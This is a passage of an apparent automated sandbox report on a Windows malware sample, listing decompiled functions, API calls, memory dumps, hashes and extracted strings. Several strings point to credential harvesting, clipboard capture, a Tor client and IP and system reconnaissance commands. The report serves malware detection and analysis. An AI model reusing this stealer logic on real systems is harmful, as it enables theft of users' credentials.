						_t27 =  *((intOrPtr*)(_a4 - 4));
						if( *((char*)(_t27 + 0x22f)) != 1) {
							_t48 = GetSystemMenu(E003CEEB8( *((intOrPtr*)(_a4 - 4))), 0);
							if( *((char*)( *((intOrPtr*)(_a4 - 4)) + 0x229)) == 3) {
								DeleteMenu(_t48, 0xf130, 0);
								DeleteMenu(_t48, 7, 0x400);
								DeleteMenu(_t48, 5, 0x400);
								DeleteMenu(_t48, 0xf030, 0);
								DeleteMenu(_t48, 0xf020, 0);
								DeleteMenu(_t48, 0xf000, 0);
								return DeleteMenu(_t48, 0xf120, 0);
							}
							if(( *( *((intOrPtr*)(_a4 - 4)) + 0x228) & 0x00000002) == 0) {
								EnableMenuItem(_t48, 0xf020, 1);
							}
							_t27 =  *((intOrPtr*)(_a4 - 4));
							if(( *(_t27 + 0x228) & 0x00000004) == 0) {
								return EnableMenuItem(_t48, 0xf030, 1);
							}
						}
					}
				}
				return _t27;
			}

0x003b59c3
0x003b59cd
0x003b59d6
0x003b59e0
0x003b59e9
0x003b59f3
0x003b5a0c
0x003b5a1b
0x003b5a25
0x003b5a32
0x003b5a3f
0x003b5a4c
0x003b5a59
0x003b5a66
0x00000000
0x003b5a73
0x003b5a87
0x003b5a91
0x003b5a91
0x003b5a99
0x003b5aa3
0x00000000
0x003b5aad
0x003b5aa3
0x003b59f3
0x003b59e0
0x003b5ab4

APIs

GetSystemMenu.USER32 ref: 003B5A07
DeleteMenu.USER32 ref: 003B5A25
DeleteMenu.USER32 ref: 003B5A32
DeleteMenu.USER32 ref: 003B5A3F
DeleteMenu.USER32 ref: 003B5A4C
DeleteMenu.USER32 ref: 003B5A59
DeleteMenu.USER32 ref: 003B5A66
DeleteMenu.USER32 ref: 003B5A73
EnableMenuItem.USER32 ref: 003B5A91
EnableMenuItem.USER32 ref: 003B5AAD

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: d8263e3919e8efa726af59b3b719117dc857d797ed9a602d8a786dbecfd94d8d
Instruction ID: 9b8a3673fc0ee620ac1daf7a0485162d6244fe726b9112a8fcd6e8e92051e169
Opcode Fuzzy Hash: d8263e3919e8efa726af59b3b719117dc857d797ed9a602d8a786dbecfd94d8d
Instruction Fuzzy Hash: 762127703817407AE722EB64CC8FFA97BD85F05B18F1440A0BA486F6D3C6B4AA858758

Uniqueness

Uniqueness Score: -1.00%

Function 02348C7F, Relevance: 15.1, APIs: 10, Instructions: 59sleepsynchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,0234C8B4), ref: 02348C94

Part of subcall function 0234B64C: InterlockedExchange.KERNEL32(?,000000FF), ref: 0234B653

WaitForSingleObject.KERNEL32(?,000000FF), ref: 02348CB4
CloseHandle.KERNEL32(00000000), ref: 02348CBD
CloseHandle.KERNEL32(?), ref: 02348CC7
RtlEnterCriticalSection.NTDLL(?), ref: 02348CCF
RtlLeaveCriticalSection.NTDLL(?), ref: 02348CE7
Sleep.KERNEL32(000001F4), ref: 02348CF6
CloseHandle.KERNEL32(?), ref: 02348D03
LocalFree.KERNEL32(?), ref: 02348D0E
RtlDeleteCriticalSection.NTDLL(?), ref: 02348D18

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseCriticalHandleSection$DeleteEnterEventExchangeFreeInterlockedLeaveLocalObjectSingleSleepWait
String ID:
API String ID: 1408595562-0
Opcode ID: 25474cb0044e54a4e2e6318598ff8ada9f3a2555f02c1f6ea1a9a6c21c65d602
Instruction ID: 45a68ba555ba8ad8235b26625060f6191886f0e2a31625bb8b90ad93cdbd366f
Opcode Fuzzy Hash: 25474cb0044e54a4e2e6318598ff8ada9f3a2555f02c1f6ea1a9a6c21c65d602
Instruction Fuzzy Hash: 0F118CB5942616EFCA21AB65DD48A5BF7FEBF00B147004899F68383550CF35F858CB60

Uniqueness

Uniqueness Score: -1.00%

Function 023566B4, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194timestringCOMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

FileTimeToLocalFileTime.KERNEL32(00000000,02359DAD), ref: 02356713
FileTimeToSystemTime.KERNEL32(02359DAD,?), ref: 02356721
lstrlenW.KERNEL32(00000010), ref: 02356731
lstrlenW.KERNEL32(00000218), ref: 0235673D
FileTimeToLocalFileTime.KERNEL32(00000008,02359DAD), ref: 02356823
FileTimeToSystemTime.KERNEL32(02359DAD,?), ref: 02356831

Strings

%02u-%02u-%02u %02u:%02u:%02uClipboard%s, xrefs: 0235685C
%02u-%02u-%02u %02u:%02u:%02u%s%s%s, xrefs: 023567B4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Time$File$LocalSystemlstrlen$AllocateHeap
String ID: %02u-%02u-%02u %02u:%02u:%02u%s%s%s$%02u-%02u-%02u %02u:%02u:%02uClipboard%s
API String ID: 1122361434-2207419989
Opcode ID: 350418354eb0d93c82cf1ac2b07a89285d3f11e1801f434abbfec16f5c249ae9
Instruction ID: 90d5bf38a8c84c6a25eb1041672962e076c95ad0d0790e14c87221a9c639fdbb
Opcode Fuzzy Hash: 350418354eb0d93c82cf1ac2b07a89285d3f11e1801f434abbfec16f5c249ae9
Instruction Fuzzy Hash: B07100B1D0061AABDB20DFA9C885EEEB7FDEF08704F544465E905E7240E738D945DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02341000, Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 169stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02354D2C: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 02354D4A
Part of subcall function 02354D2C: GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,02341016,?,?,?), ref: 02354D5A
Part of subcall function 02354D2C: CloseHandle.KERNEL32(000000FF), ref: 02354DBC

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

Part of subcall function 0234672E: lstrlen.KERNEL32(?,?,00000000,0236182F,02341093,?,?,?,00000000,?,?,?,?), ref: 02346737
Part of subcall function 0234672E: memcpy.NTDLL(00000000,00000000,00000000,00000001,?,?,00000000,?,?,?,?), ref: 0234675A
Part of subcall function 0234672E: memset.NTDLL ref: 02346769

strstr.NTDLL ref: 023410BB

Part of subcall function 0234FF86: memset.NTDLL ref: 0234FFB0
Part of subcall function 0234FF86: lstrlen.KERNEL32(?,00000001,00000000,?,00000000,00000000,00002000,00000000,0236182F,?,?,?,00000000,?,?,?), ref: 0234FFC4
Part of subcall function 0234FF86: memcpy.NTDLL(00000000,?,?), ref: 02350019

strstr.NTDLL ref: 02341100
StrChrA.SHLWAPI(?,00000040), ref: 02341129

Strings

type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S, xrefs: 02341174
encryptedUsername, xrefs: 02341093
encryptedPassword, xrefs: 023410D8
://, xrefs: 0234114F
hostname, xrefs: 02341058

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Filelstrlenmemcpymemsetstrstr$AllocateCloseCreateHandleHeapSize
String ID: ://$encryptedPassword$encryptedUsername$hostname$type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
API String ID: 2194731920-2558769663
Opcode ID: f9858073751dc6bb3264ea13e560bc69efef5c4a4330127db127a5b6ca33a9d9
Instruction ID: 0c6fab6bf070d06fa61dff09d1d5c4db05304b5c9a2440254a2172e861887a03
Opcode Fuzzy Hash: f9858073751dc6bb3264ea13e560bc69efef5c4a4330127db127a5b6ca33a9d9
Instruction Fuzzy Hash: 2751C431D00A19AFDF219F69CC44BAEBBF9AF45754F148495EC88B3200DF74B9818BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0235030B, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133memorystringCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,00000020), ref: 02350336
StrTrimA.SHLWAPI(00000000,0A0D0920), ref: 02350353
HeapFree.KERNEL32(00000000,00000000), ref: 02350386
RtlImageNtHeader.NTDLL(00000000), ref: 023503AF
HeapFree.KERNEL32(00000000,00000000,00000001), ref: 0235046C

Part of subcall function 0234672E: lstrlen.KERNEL32(?,?,00000000,0236182F,02341093,?,?,?,00000000,?,?,?,?), ref: 02346737
Part of subcall function 0234672E: memcpy.NTDLL(00000000,00000000,00000000,00000001,?,?,00000000,?,?,?,?), ref: 0234675A
Part of subcall function 0234672E: memset.NTDLL ref: 02346769

lstrlen.KERNEL32(00000000,00000000,0000014C,00000000,00000000), ref: 0235041B
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0235044C

Strings

TorClient, xrefs: 023503EA, 02350437

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap$lstrlen$HeaderImageTrimmemcpymemset
String ID: TorClient
API String ID: 239510280-3399603969
Opcode ID: c6173eec2efdba6872c460336fec9827294bed71a80391f446f9da4b20cbc606
Instruction ID: ce0f4ef33fc27a4cca1d598cb09f3b8e1f599f71eed2d05f9848f2b4457371e8
Opcode Fuzzy Hash: c6173eec2efdba6872c460336fec9827294bed71a80391f446f9da4b20cbc606
Instruction Fuzzy Hash: F7411871B80324BBDB255B64DC48F9E7BADDB49744F108055FE09A6180DFB1CE548F50

Uniqueness

Uniqueness Score: -1.00%

Function 0234F19F, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 125memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000000,?,?,?,?), ref: 0234F1B6
lstrlen.KERNEL32(?,?,?,?,?), ref: 0234F1C6
RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0234F1FA
RtlReAllocateHeap.NTDLL(00000000,00000000,?,?), ref: 0234F225
memcpy.NTDLL(00000000,?,?,?,?,?,?,?,?), ref: 0234F244
HeapFree.KERNEL32(00000000,00000000), ref: 0234F2A5
memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0234F2C7

Strings

W, xrefs: 0234F2F3

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Allocatelstrlenmemcpy$Free
String ID: W
API String ID: 3204852930-655174618
Opcode ID: 3d6335ce5abcd96a3a5fb4c2067996bee762c26a0cf7a1b9255b599261362f9b
Instruction ID: 13b83865625abd38ae68891d5e5dc562595fd2144c3fc6297bbca78d1a8d2522
Opcode Fuzzy Hash: 3d6335ce5abcd96a3a5fb4c2067996bee762c26a0cf7a1b9255b599261362f9b
Instruction Fuzzy Hash: F8411CB9D10209EFDF11DF94C884AAE7BF9EF08348F188465ED15A7211E731AA54DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02347850, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 118memoryCOMMON

Download Yara Rule

APIs

RtlImageNtHeader.NTDLL(00000000), ref: 02347871

Part of subcall function 0234B5C8: lstrlenW.KERNEL32(00000000,00000000,00000094,%APPDATA%\Microsoft\,00000000,?,?,02347891,00000000), ref: 0234B5ED
Part of subcall function 0234B5C8: RtlAllocateHeap.NTDLL(00000000,?), ref: 0234B5FF
Part of subcall function 0234B5C8: CreateDirectoryW.KERNEL32(00000000,00000000,?,?,02347891,00000000), ref: 0234B61C
Part of subcall function 0234B5C8: lstrlenW.KERNEL32(00000000,?,?,02347891,00000000), ref: 0234B628
Part of subcall function 0234B5C8: HeapFree.KERNEL32(00000000,00000000), ref: 0234B63C

RtlEnterCriticalSection.NTDLL(00000000), ref: 023478A9
CloseHandle.KERNEL32(?), ref: 023478B7
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0234796F
RtlLeaveCriticalSection.NTDLL(00000000), ref: 0234797E
HeapFree.KERNEL32(00000000,00000000,.dll), ref: 02347991

Strings

.dll, xrefs: 023478C6
.exe, xrefs: 023478CD, 023478DF, 02347915

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$CriticalSectionlstrlen$AllocateCloseCreateDirectoryEnterHandleHeaderImageLeave
String ID: .dll$.exe
API String ID: 1719504581-724907077
Opcode ID: f764a7ffa5cc3c8f323b22708fc67b3d60e8449984dd56750fe7c8724ccb4966
Instruction ID: d234b6dad1697622f7719c67901137d11b3643686d3060a4696d82adfa6451c8
Opcode Fuzzy Hash: f764a7ffa5cc3c8f323b22708fc67b3d60e8449984dd56750fe7c8724ccb4966
Instruction Fuzzy Hash: 5F4181B2A40315BBDB219F94C888BAEFBFDAF45754F0444A9E904A6150DF70E914CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003D74A0, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E003D74A0(void* __eax, void* __ebx, void* __edx, void* __esi) {
				char _v8;
				void* _v12;
				void* _v16;
				long _v20;
				short _v22;
				short _v24;
				short _v26;
				char _v28;
				short _v32;
				short _v36;
				short _v40;
				char _v44;
				intOrPtr* _t68;
				intOrPtr* _t72;
				void* _t81;
				intOrPtr _t91;
				void* _t94;
				void* _t96;
				void* _t97;
				intOrPtr _t98;

				_t87 = __edx;
				_t96 = _t97;
				_t98 = _t97 + 0xffffffd8;
				_v8 = 0;
				_v12 = 0;
				_t94 = __edx;
				_t81 = __eax;
				_push(_t96);
				_push(0x3d7629);
				_push( *[fs:eax]);
				 *[fs:eax] = _t98;
				E003D6680(__eax);
				if( *((char*)(_t81 + 0x25b)) != 0) {
					E003D73F0(_t81, _t94, _t81);
				}
				_t100 =  *((char*)(_t81 + 0x255));
				if( *((char*)(_t81 + 0x255)) == 0) {
					_push( &_v16);
					_push( *((intOrPtr*)(_t81 + 0x214)));
					L00394450();
					E003D42C0( *((intOrPtr*)(_t81 + 0x214)), _t87, __eflags);
				} else {
					L00394458();
					E003D42C0(_t61, _t87, _t100);
					L00394400();
					E003D42C0(_v8, _t87, _t100);
					_t68 =  *((intOrPtr*)(_t81 + 0x218));
					E003D42C0( *((intOrPtr*)( *_t68 + 0x1c))(_t68, 0, 0, 0, _v12, _v8, 0x1012, 0, E0038577C( &_v12), 0, 0xffffffff, E0038577C( &_v8)), _t87, _t100);
					_t72 = _v12;
					E003D42C0( *((intOrPtr*)( *_t72 + 0x24))(_t72, 0), _t87, _t100);
					_push( &_v16);
					_push(_v8);
					L00394450();
					E003D42C0(_v8, _t87, _t100);
				}
				if( *((char*)(_t81 + 0x256)) == 0) {
					_v28 = 0x434f4442;
					_v24 =  *((intOrPtr*)(_t81 + 0x220));
				} else {
					E003C8070(_t81,  &_v44);
					_v28 = _v44;
					_v26 = _v40;
					_v24 = _v36;
					_v22 = _v32;
				}
				_v20 = GlobalSize(_v16);
				_t32 =  &_v28; // 0x434f4442
				E00398DD8(_t94, 0xc, _t32);
				GlobalFix(_v16);
				_push(_t96);
				_push(0x3d7604);
				_push( *[fs:edx]);
				 *[fs:edx] = _t98;
				E00398DD8(_t94, _v20, _v16);
				_pop(_t91);
				 *[fs:eax] = _t91;
				_push(0x3d760b);
				return GlobalUnWire(_v16);
			}

0x003d74a0
0x003d74a1
0x003d74a3
0x003d74aa
0x003d74ad
0x003d74b0
0x003d74b2
0x003d74b6
0x003d74b7
0x003d74bc
0x003d74bf
0x003d74c4
0x003d74d0
0x003d74d3
0x003d74d3
0x003d74d8
0x003d74df
0x003d7558
0x003d755f
0x003d7560
0x003d7565
0x003d74e1
0x003d74ee
0x003d74f3
0x003d750c
0x003d7511
0x003d7520
0x003d752c
0x003d7533
0x003d753c
0x003d7544
0x003d7548
0x003d7549
0x003d754e
0x003d754e
0x003d7571
0x003d759f
0x003d75ac
0x003d7573
0x003d7578
0x003d7581
0x003d7589
0x003d7591
0x003d7599
0x003d7599
0x003d75b8
0x003d75bb
0x003d75c5
0x003d75ce
0x003d75d5
0x003d75d6
0x003d75db
0x003d75de
0x003d75e8
0x003d75ef
0x003d75f2
0x003d75f5
0x003d7603

APIs

CreateILockBytesOnHGlobal.OLE32(00000000,000000FF,00000000), ref: 003D74EE
StgCreateDocfileOnILockBytes.OLE32(?,00001012,00000000,00000000), ref: 003D750C
GetHGlobalFromILockBytes.OLE32(?,?), ref: 003D7549
GetHGlobalFromILockBytes.OLE32(?,?), ref: 003D7560
GlobalSize.KERNEL32(?), ref: 003D75B3
GlobalFix.KERNEL32(?), ref: 003D75CE
GlobalUnWire.KERNEL32(?), ref: 003D75FE

Part of subcall function 003D73F0: OleSave.OLE32(?,?,000000FF), ref: 003D7433

Strings

BDOC, xrefs: 003D75BB

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$BytesLock$CreateFrom$DocfileSaveSizeWire
String ID: BDOC
API String ID: 411753122-4294846806
Opcode ID: 5b87947805ac8976cf133ef373e904942717dd0865b1ec15f4e23e80ff79bb81
Instruction ID: 8c4aa12bbb880026df1241fc4ebda65279b5a14e1ed95e8dac104de0eac62900
Opcode Fuzzy Hash: 5b87947805ac8976cf133ef373e904942717dd0865b1ec15f4e23e80ff79bb81
Instruction Fuzzy Hash: 1B415175A04648ABDF02EFE8EC46FDE77B8AF49700F1045A5F914EB391DA349A008B65

Uniqueness

Uniqueness Score: -1.00%

Function 023576C2, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 110memoryfilestringCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(02366FEC), ref: 023576D4
lstrcpy.KERNEL32(00000000), ref: 02357709

Part of subcall function 023411F3: lstrlen.KERNEL32(?,00000008,-00000007,?,00000000,02348BB2,?,00000000,-00000007,02354CE5,-00000007,?,00000000), ref: 02341202
Part of subcall function 023411F3: mbstowcs.NTDLL ref: 0234121E

GetLastError.KERNEL32(00000000), ref: 0235779A
HeapFree.KERNEL32(00000000,?), ref: 023577B1
InterlockedDecrement.KERNEL32(02366FEC), ref: 023577C8
DeleteFileA.KERNEL32(00000000), ref: 023577E9
HeapFree.KERNEL32(00000000,00000000), ref: 023577F9

Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FD5
Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FEE
Part of subcall function 02348FC3: GetCurrentThreadId.KERNEL32(?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02348FFB
Part of subcall function 02348FC3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02349007
Part of subcall function 02348FC3: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02349015
Part of subcall function 02348FC3: lstrcpy.KERNEL32(00000000), ref: 02349037

Strings

.avi, xrefs: 023576FC

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FileTemp$FreeHeapInterlockedPathTimelstrcpy$CurrentDecrementDeleteErrorIncrementLastNameSystemThreadlstrlenmbstowcs
String ID: .avi
API String ID: 908044853-1706533258
Opcode ID: d2787d5bfa935572202c18f7ae4beca20715e0452d578f13bf4da24fe6310230
Instruction ID: 6e539c9311e21f536b514a28366f90fa446c945886d186785e2abbd357b58daa
Opcode Fuzzy Hash: d2787d5bfa935572202c18f7ae4beca20715e0452d578f13bf4da24fe6310230
Instruction Fuzzy Hash: B731F472D40234BBDB219FA4EC48EBDBABDEB48B50F108450FD099A140D7758A51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0039C734, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E0039C734(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr* _v12;
				long _v16;
				char _v20;
				char _v24;
				long _t22;
				char _t29;
				void* _t53;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t72;
				void* _t73;
				intOrPtr _t74;

				_t72 = _t73;
				_t74 = _t73 + 0xffffffec;
				_push(__esi);
				_push(__edi);
				_t53 = __eax;
				_t22 = GetCurrentThreadId();
				_t62 =  *0x3da22c; // 0x3db034
				if(_t22 !=  *_t62) {
					_v24 = GetCurrentThreadId();
					_v20 = 0;
					_t61 =  *0x3da0b0; // 0x393874
					E0038B6BC(_t53, _t61, 1, __edi, __esi, 0,  &_v24);
					E00383870();
				}
				if(_t53 <= 0) {
					E0039C70C();
				} else {
					E0039C718(_t53);
				}
				_v16 = 0;
				_push("0]%");
				L0038618C();
				_push(_t72);
				_push(0x39c8c2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v16 = InterlockedExchange(0x3d9404, _v16);
				_push(_t72);
				_push(0x39c8a3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				if(_v16 == 0 ||  *((intOrPtr*)(_v16 + 8)) <= 0) {
					_t29 = 0;
				} else {
					_t29 = 1;
				}
				_v5 = _t29;
				if(_v5 == 0) {
					L15:
					_pop(_t63);
					 *[fs:eax] = _t63;
					_push(E0039C8AA);
					return E003830FC(_v16);
				} else {
					if( *((intOrPtr*)(_v16 + 8)) > 0) {
						_v12 = E00396F34(_v16, 0);
						E00396E24(_v16, 0);
						L003862BC();
						 *[fs:eax] = _t74;
						 *[fs:eax] = _t74;
						 *((intOrPtr*)( *_v12 + 8))( *[fs:eax], _t72,  *[fs:eax], 0x39c86d, _t72, "0]%");
						_pop(_t66);
						 *[fs:eax] = _t66;
						_t67 = 0x39c83e;
						 *[fs:eax] = _t67;
						_push(E0039C874);
						_push("0]%");
						L0038618C();
						return 0;
					} else {
						goto L15;
					}
				}
			}

0x0039c735
0x0039c737
0x0039c73b
0x0039c73c
0x0039c73d
0x0039c73f
0x0039c744
0x0039c74c
0x0039c753
0x0039c756
0x0039c760
0x0039c76d
0x0039c772
0x0039c772
0x0039c779
0x0039c784
0x0039c77b
0x0039c77d
0x0039c77d
0x0039c78b
0x0039c78e
0x0039c793
0x0039c79a
0x0039c79b
0x0039c7a0
0x0039c7a3
0x0039c7b4
0x0039c7b9
0x0039c7ba
0x0039c7bf
0x0039c7c2
0x0039c7c9
0x0039c7d4
0x0039c7d8
0x0039c7d8
0x0039c7d8
0x0039c7da
0x0039c7e1
0x0039c88d
0x0039c88f
0x0039c892
0x0039c895
0x0039c8a2
0x0039c7e7
0x0039c887
0x0039c7f6
0x0039c7fe
0x0039c808
0x0039c818
0x0039c826
0x0039c831
0x0039c836
0x0039c839
0x0039c857
0x0039c85a
0x0039c85d
0x0039c862
0x0039c867
0x0039c86c
0x00000000
0x00000000
0x00000000
0x0039c887

APIs

GetCurrentThreadId.KERNEL32 ref: 0039C73F
GetCurrentThreadId.KERNEL32 ref: 0039C74E

Part of subcall function 0039C70C: ResetEvent.KERNEL32(000000D0,0039C789), ref: 0039C712

RtlEnterCriticalSection.KERNEL32(0]%), ref: 0039C793
InterlockedExchange.KERNEL32(003D9404,?), ref: 0039C7AF
RtlLeaveCriticalSection.KERNEL32(0]%,00000000,0039C8A3,?,00000000,0039C8C2,?,0]%), ref: 0039C808
RtlEnterCriticalSection.KERNEL32(0]%,0039C874,0039C8A3,?,00000000,0039C8C2,?,0]%), ref: 0039C867

Strings

0]%, xrefs: 0039C78E, 0039C803, 0039C862
t89, xrefs: 0039C760

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CurrentEnterThread$EventExchangeInterlockedLeaveReset
String ID: 0]%$t89
API String ID: 2189153385-3087797607
Opcode ID: 6bf073ef7853574e027ababd00bd35bf33d673c3d82636be67d6091384461978
Instruction ID: f05770c49c0cd94d41b0b999a6f160cce358fc35da8c7e5b70ce0f209cd49fe2
Opcode Fuzzy Hash: 6bf073ef7853574e027ababd00bd35bf33d673c3d82636be67d6091384461978
Instruction Fuzzy Hash: B6318E31A28748AFDB13EFA4DC52AA9B7F8EB49700F5294B5F4009BA52D7759D00CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0235A494, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 88memoryfilestringCOMMON

Download Yara Rule

APIs

Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FD5
Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FEE
Part of subcall function 02348FC3: GetCurrentThreadId.KERNEL32(?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02348FFB
Part of subcall function 02348FC3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02349007
Part of subcall function 02348FC3: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02349015
Part of subcall function 02348FC3: lstrcpy.KERNEL32(00000000), ref: 02349037

lstrlen.KERNEL32(00000000,?,00000F00), ref: 0235A4B8

Part of subcall function 0235565D: lstrlen.KERNEL32(?,00000000,?,?,?,?,?,02345FDF,systeminfo.exe ,00000000,?,00002334), ref: 0235566E
Part of subcall function 0235565D: lstrlen.KERNEL32(?,?,?,?,?,?,02345FDF,systeminfo.exe ,00000000,?,00002334,?,?,?,?,023466F5), ref: 02355675
Part of subcall function 0235565D: RtlAllocateHeap.NTDLL(00000000,?), ref: 02355687
Part of subcall function 0235565D: _snprintf.NTDLL ref: 023556AA
Part of subcall function 0235565D: _snprintf.NTDLL ref: 023556D5
Part of subcall function 0235565D: HeapFree.KERNEL32(00000000,?,00000000), ref: 023556F8

StrTrimA.SHLWAPI(00000000, s:), ref: 0235A544
HeapFree.KERNEL32(00000000,?,000000FF), ref: 0235A561
DeleteFileA.KERNEL32(00000000,00000000,?,?,nslookup myip.opendns.com resolver1.opendns.com ,00000000,000000FF,?,00000F00), ref: 0235A569
HeapFree.KERNEL32(00000000,00000000,nslookup myip.opendns.com resolver1.opendns.com ), ref: 0235A578

Strings

s:, xrefs: 0235A53A
ss: *.*.*.*, xrefs: 0235A4FA, 0235A4FF, 0235A522
nslookup myip.opendns.com resolver1.opendns.com , xrefs: 0235A4C5

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$FileFreeTemplstrlen$PathTime_snprintf$AllocateCurrentDeleteNameSystemThreadTrimlstrcpy
String ID: s:$nslookup myip.opendns.com resolver1.opendns.com $ss: *.*.*.*
API String ID: 2960378068-949792001
Opcode ID: d2921f481f157b7d8d92a54863db478523520bfdcc62c0f305af542633c6bd90
Instruction ID: f2b8c1c713755b02d4ad6f4834cf0a669c325dfda9db432e6716a7b39308a0bb
Opcode Fuzzy Hash: d2921f481f157b7d8d92a54863db478523520bfdcc62c0f305af542633c6bd90
Instruction Fuzzy Hash: 062180B2E40215BFDB209BE9CC88FEEBFFCAB08344F004994E545E6141EB70A6148B60

Uniqueness

Uniqueness Score: -1.00%

Function 003BC99C, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E003BC99C(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* __ecx;
				intOrPtr _t9;
				void* _t11;
				intOrPtr _t17;
				struct HINSTANCE__* _t25;
				void* _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				struct HINSTANCE__* _t40;
				void* _t42;
				intOrPtr _t44;
				intOrPtr _t45;

				_t44 = _t45;
				_push(__ebx);
				_t42 = __edx;
				_t27 = __eax;
				if( *0x3dbb40 == 0) {
					 *0x3dbb40 = E0038BE5C("comctl32.dll", __eax);
					if( *0x3dbb40 >= 0x60000) {
						_t25 = GetModuleHandleA("comctl32.dll");
						_t40 = _t25;
						if(_t40 != 0) {
							_push("ImageList_WriteEx");
							_push(_t40);
							L00386224();
